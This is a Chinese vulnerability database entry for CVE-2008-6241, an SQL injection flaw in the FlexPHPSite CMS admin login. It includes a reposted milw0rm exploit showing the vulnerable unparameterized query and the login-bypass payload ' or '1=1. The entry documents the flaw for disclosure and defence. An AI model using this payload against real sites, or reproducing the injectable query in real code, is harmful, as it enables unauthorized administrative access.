China-On-Site FlexPHPSite 'admin/usercheck.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117162 漏洞类型 SQL注入
发布时间 2008-12-29 更新时间 2009-02-24
CVE编号 CVE-2008-6241 CNNVD-ID CNNVD-200902-504
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/7615
https://cxsecurity.com/issue/WLB-2009020247
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-504
|漏洞详情
FlexPHPSite是一款功能强大的内容管理(CMS)系统。FlexPHPSite0.0.1版本和0.0.7版本的admin/usercheck.php中存在多个SQL注入漏洞,当magic_quotes_gpc被中止时,远程攻击者可以借助对admin/index.php的(1)checkuser参数(又称用户字段),或(2)checkpass参数(又称密码字段),执行任意SQL指令。
|漏洞EXP
#############################################
Autore: x0r
Email: andry2000@hotmail.it
Site: http://w00tz0ne.altervista.org/index.php
Cms: Flexphpsiteen
Version: 0.0.1
Download: http://www.china-on-site.com/flexphpsite/downloads.html
##############################################

Bug In \admin\usercheck.php

$sql = "select username,adminid from linkexadmin where
username='$checkuser' and password='$checkpass'";

Exploit:
 
Go to /[path]/admin/index.php
Put as username and password the following sql code: ' or '1=1

Greetz: Anna <3

# milw0rm.com [2008-12-29]
|参考资料

来源:XF
名称:flexphpsite-index-sql-injection(47643)
链接:http://xforce.iss.net/xforce/xfdb/47643
来源:MILW0RM
名称:7615
链接:http://www.milw0rm.com/exploits/7615
来源:SECUNIA
名称:33347
链接:http://secunia.com/advisories/33347